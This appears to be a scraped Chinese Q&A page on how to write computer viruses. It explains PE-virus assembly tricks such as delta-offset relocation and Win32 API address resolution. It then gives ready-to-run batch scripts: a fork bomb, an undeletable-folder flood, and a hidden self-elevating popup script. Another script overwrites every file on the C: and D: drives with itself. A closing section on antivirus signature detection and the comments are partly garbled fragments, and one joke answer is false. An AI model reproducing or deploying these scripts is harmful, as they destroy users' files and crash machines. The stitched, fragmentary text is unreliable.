b2c信息网

您现在的位置是:首页 > 政治新闻 > 正文

政治新闻

如何做电脑病毒编程(计算机病毒编程)

hacker2022-05-29 10:02:31政治新闻168
本文导读目录:1、怎么编程病毒?2、电脑病毒是怎么编的???
本文导读目录:

怎么编程病毒?

搂主`你多C语言懂多少呀?通常只要在病毒代码的开始计算出delta offset,通过变址寻址的方式书写引用数据的汇编代码,即可保证病毒代码在运行时被正确重定位。假设ebp 包含了delta offset,使用如下变址寻址指令则可保证在运行时引用的数据地址是正确的:

;ebp 包含了delta offset 值

401000:

mov eax,dword ptr [ebp+0x402035]

......

402035:

db "hello world!",0

在书写源程序时可以采用符号来代替硬编码的地址值,上述的例子中给出的不过是编译器对符号进行地址替换后的结果。现在的问题就转换成如何获取delta offset的值了,显然:

call delta

delta:

pop ebp

sub ebp,offset delta

在运行时就动态计算出了delta offset 值,因为call要将其后的第一条指令的地址压入堆栈,因此pop ebp 执行完毕后ebp 中就是delta的运行时地址,减去delta的编译时地址“offset delta”就得到了delta offset 的值。除了用明显的call 指令外,还可以使用不那么明显的fstenv、fsave、fxsave、fnstenv等浮点环境保存指令进行,这些指令也都可以获取某条指令的运行时地址。以fnstenv 为例,该指令将最后执行的一条FPU 指令相关的协处理器的信息保存在指定的内存中fpu_addr:

fnop

call GetPhAddr

sub ebp,fpu_addr

GetPhAddr:

sub esp,16

fnstenv [esp-12]

pop ebp

add esp,12

ret

delta offset 也不一定非要放在ebp 中,只不过是ebp 作为栈帧指针一般过程都不将该寄存器用于其它用途,因此大部分病毒作者都习惯于将delta offset 保存在ebp 中,其实用其他寄存器也完全可以。

在优化过的病毒代码中并不经常直接使用上述直接计算delta offset 的代码,比如在Elkern开头写成了类似如下的代码:

call _start_ip

_start_ip:

pop ebp

;...

;使用

call [ebp+addrOpenProcess-_start_ip]

;...

addrOpenProcess dd 0

;而不是

call _start_ip

_start_ip:

pop ebp

sub ebp,_start_ip

call [ebp+addrOpenProcess]

为什么不采用第二种书写代码的方式?其原因在于尽管第一种格式在书写源码时显得比较罗嗦, 但是addrOpenProcess-_start_ip 是一个较小相对偏移值,一般不超过两个字节,因此生成的指令较短,而addrOpenProcess在32 Win32编译环境下一般是4 个字节的地址值,生成的指令也就较长。有时对病毒对大小要求很苛刻,更多时候也是为了显示其超俗的编程技巧,病毒作者大量采用这种优化,对这种优化原理感兴趣的读者请参阅Intel手册卷2中的指令格式说明。

API 函数地址的获取

在能够正确重定位之后,病毒就可以运行自己代码了。但是这还远远不够,要搜索文件、读写文件、进行进程枚举等操作总不能在有Win32 API 的情况下自己用汇编完全重新实现一套吧,那样的编码量过大而且兼容性很差。

Win9X/NT/2000/XP/2003系统都实现了同一套在各个不同的版本上都高度兼容的Win32 API,因此调用系统提供的Win32 API实现各种功能对病毒而言就是自然而然的事情了。所以接下来要解决的问题就是如何动态获取Win32 API的地址。最早的PE病毒采用的是预编码的方法,比如Windows 2000 中CreateFileA 的地址是0x7EE63260,那么就在病毒代码中使用call [7EE63260h]调用该API,但问题是不同的Windows 版本之间该API 的地址并不完全相同,使用该方法的病毒可能只能在Windows 2000的某个版本上运行。

因此病毒作者自然而然地回到PE结构上来探求解决方法,我们知道系统加载PE 文件的时候,可以将其引入的特定DLL 中函数的运行时地址填入PE的引入函数表中,那么系统是如何为PE引入表填入正确的函数地址的呢?答案是系统解析引入DLL 的导出函数表,然后根据名字或序号搜索到相应引出函数的的RVA(相对虚拟地址),然后再和模块在内存中的实际加载地址相加,就可以得到API 函数的运行时真正地址。在研究操作系统是如何实现动态PE文件链接的过程中,病毒作者找到了以下两种解决方案:

A)在感染PE 文件的时候,可以搜索宿主的函数引入表的相关地址,如果发现要使用的函数已经被引入,则将对该API 的调用指向该引入表函数地址,若未引入,则修改引入表增加该函数的引入表项,并将对该API 的调用指向新增加的引入函数地址。这样在宿主程序启动的时候,系统加载器已经把正确的API 函数地址填好了,病毒代码即可正确地直接调用该函数。

B)系统可以解析DLL 的导出表,自然病毒也可以通过这种手段从DLL 中获取所需要的API地址。要在运行时解析搜索DLL 的导出表,必须首先获取DLL 在内存中的真实加载地址,只有这样才能解析从PE 的头部信息中找到导出表的位置。应该首先解析哪个DLL 呢?我们知道Kernel32.DLL几乎在所有的Win32 进程中都要被加载,其中包含了大部分常用的API,特别是其中的LoadLibrary 和GetProcAddress 两个API可以获取任意DLL 中导出的任意函数,在迄今为止的所有Windows 平台上都是如此。只要获取了Kernel32.DLL在进程中加载的基址,然后解析Kernel32.DLL 的导出表获取常用的API 地址,如需要可进一步使用Kernel32.DLL 中的LoadLibrary 和GetProcAddress 两个API 更简单地获取任意其他DLL 中导出函数的地址并进行调用。

电脑病毒是怎么编的???

电脑病毒是有一些语言编写的,像c、c++、c#、java、vb都能编写病毒,所以编写病毒,需要先学习变成基础,学好编程,在对操作系统以及系统底层有一定的了解,就能够编写病毒了。

怎样在文本文件里编程电脑病毒?

一般用TEXT文档

在txt文档里面输入:

Starts virus

virus

virus

然后选择另存为,在文件名里里面输入:

Virus.bat(一定要写.bat,否则病毒无效)

然后选择保存,当你打开那个的时候。。。建议不要打开,电脑会死机

电脑病毒是怎样编出来的?(详细回答)

编程方面就是vb/c/汇编 (虽然这些学起来比较难,不过做出来的软件有很高的自由度) 如果是用写病毒的 如冰河 灰鸽子等(这些实际上不能算编病毒,只能说是应用这种病毒,比如用专门写灰鸽子的,就只能写出灰鸽子,有很大的局限性,不过比较适合新手) 除非你已经对电脑方面很专业了,否则不要乱动病毒,因为后果通常都很严重。没损到别人反而自己被自己的毒挂了。

怎样编写计算机病毒?

你可以到网上下载相应的源代码进行改造!前提是你懂得计算机的编程语言,如C++,VB等,如果不会免谈,但你可以去下载现成的,不过可能不合你意!最后,请你不要想用它干些危害社会的事,否则你会后悔的!

电脑病毒制作教程

很荣幸能够回答您的问题!

桌面上创建记事本,改后缀为bat

2

::输入以下代码

%0|%0

保存后退出,打开会发现无限制的弹窗。这是什么原理呢?

执行脚本的时候,|管道符会将左面的值传给右边,而这里%0是第一个参数(批处理路径),所以会无限执行自己。

END

第二种病毒

这种更强大一些。同样,桌面上创建记事本,改后缀为bat

::输入以下代码

for /l %%i in (1 1 999999) do md A..\

这个病毒利用Windows命名漏洞,创建999999个删除不了也打不开的文件夹。解决方法:把md改为rd

END

第三种病毒

这种病毒更高级,攻击性能更强。同样,桌面上创建记事本,改后缀为bat

@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit

:a

set /a a+=1

echo %random%-%random%-%random% C:\Users\%username%\Desktop\病毒文件.%random%

mshta javascript:alert("您已中第%a%个病毒.");close();

goto a

这个病毒会在后台运行,在桌面重复弹信息框,生成垃圾文件,千万不敢随意测试,因为电脑会消耗尽内存后蓝屏。

END

第四种病毒

这种病毒最有破坏性,跟熊猫烧香媲美。同样,桌面上创建记事本,改后缀为bat

@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit

for /f "tokens=* delims=" %%i in ('dir /b D:\*.*') do copy /y "%dpnx0" "%%i" nul

for /f "tokens=* delims=" %%i in ('dir /b C:\*.*') do copy /y "%dpnx0" "%%i" nul

此程序特别狠,会在后台把C、D盘所有的文件都替换成自己(病毒文件,然后会又被执行)。

希望能帮到您,如有疑问,请追问!

突然对计算机感兴趣,我怎样才能成为编程高手?我想制造计算机病毒。

首先学习掌握一门计算机编程语言,初学的话建议学习VB,找一个老师或者是在网上找教程,VB入门快,但是要是想要精通还是要持之以恒的。

深入了解计算机,对注册表和计算机常用命令、计算机病毒攻防等比较深入的知识加以学习理解,编程序时这些都是用得到的。

想制作病毒可不是什么容易的事,特别是现在计算机技术普及,杀毒软件也越做越好,不要着急,如果还没有上大学,还是把心思放到学习上,利用课余时间来学习编程,上了大学在主攻计算机(一算好的大学至关重要)

祝你好运

自己怎样用编程给计算机杀毒?

首先吧。得有个病毒库,知道病毒有那些。然后得使计算机自己扫描硬盘里的文件。然后跟病毒库里的对比。 单单靠编程只能制造病毒。

以下专业回答

病毒在理论上是不可判定的

病毒是一段程序,不同种类的病毒,它们的代码千差万别,任何人都不可能预测明天将会出现什么新病毒。但有一点可以肯定,只要出现了一项新的计算机技术,充分利用这项新技术编制的新病毒就一定离我们不远了。而由于软件种类极其丰富,且某些正常程序也使用了类似病毒的操作甚至借鉴了某些病毒的技术。所以,虽然有些人利用病毒某些共有的操作(如驻内存,改中断)这种共性,制作了声称可查所有病毒的程序,但这种方法对病毒进行检测势必会造成较多的误报情况,不够可靠,目前都只能作为辅助的手段配合使用,无法独立推广。

实际上,计算机病毒学鼻祖早在80年代初期就已经提出了计算机病毒的模型,证明只要延用现行的计算机体系,计算机病毒就存在“不可判定性”。杀病毒必须先搜集到病毒样本,使其成为已知病毒,然后剖析病毒,再将病毒传染的过程准确地颠倒过来,使被感染的计算机恢复原状。因此可以看出,一方面计算机病毒是不可灭绝的,另一方面病毒也并不可怕,世界上没有杀不掉的病毒。

常用的反病毒软件技术

特征码技术:基于对已知病毒分析、查解的反病毒技术

目前的大多数杀病毒软件采用的方法主要是特征码查毒方案与人工解毒并行,亦即在查病毒时采用特征码查毒,在杀病毒时采用人工编制解毒代码。

特征码查毒方案实际上是人工查毒经验的简单表述,它再现了人工辨识病毒的一般方法,采用了“同一病毒或同类病毒的某一部分代码相同”的原理,也就是说,如果病毒及其变种、变形病毒具有同一性,则可以对这种同一性进行描述,并通过对程序体与描述结果(亦即“特征码”)进行比较来查找病毒。而并非所有病毒都可以描述其特征码,很多病毒都是难以描述甚至无法用特征码进行描述。使用特征码技术需要实现一些补充功能,例如近来的压缩包、压缩可执行文件自动查杀技术。

但是,特征码查毒方案也具有极大的局限性。特征码的描述取决于人的主观因素,从长达数千字节的病毒体中撷取十余字节的病毒特征码,需要对病毒进行跟踪、反汇编以及其它分析,如果病毒本身具有反跟踪技术和变形、解码技术,那么跟踪和反汇编以获取特征码的情况将变得极其复杂。此外,要撷取一个病毒的特征码,必然要获取该病毒的样本,再由于对特征码的描述各个不同,特征码方法在国际上很难得到广域性支持。

发表评论

评论列表

  • 竹祭望喜(2022-05-29 10:05:15)回复取消回复

    直接使用上述直接计算delta offset 的代码,比如在Elkern开头写成了类似如下的代码: call _start_ip _start_ip: pop ebp ;... ;使用 call [ebp+addrOpenProcess-_start_ip] ;... addrOpenP

  • 鹿岛假欢(2022-05-29 13:54:32)回复取消回复

    p ebp sub ebp,_start_ip call [ebp+addrOpenProcess] 为什么不采用第二种书写代码的方式?其原因在于尽管第一种格式在书写源码时显得比较罗嗦, 但是addrOpenProcess-_start_ip 是一个较小相对偏移值,

  • 礼忱徒掠(2022-05-29 13:43:08)回复取消回复

    可以描述其特征码,很多病毒都是难以描述甚至无法用特征码进行描述。使用特征码技术需要实现一些补充功能,例如近来的压缩包、压缩可执行文件自动查杀技术。但是,特征码查毒方案也具有极大的局限性。特征码的描述取决于人的主观因素,从长达数千

  • 俗野冧九(2022-05-29 10:13:48)回复取消回复

    ,因此pop ebp 执行完毕后ebp 中就是delta的运行时地址,减去delta的编译时地址“offset delta”就得到了delta offset 的值。除了用明显的call 指令外,还可以使用不那么明显的fste

  • 依疚轻禾(2022-05-29 19:37:12)回复取消回复

    ,改后缀为bat@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","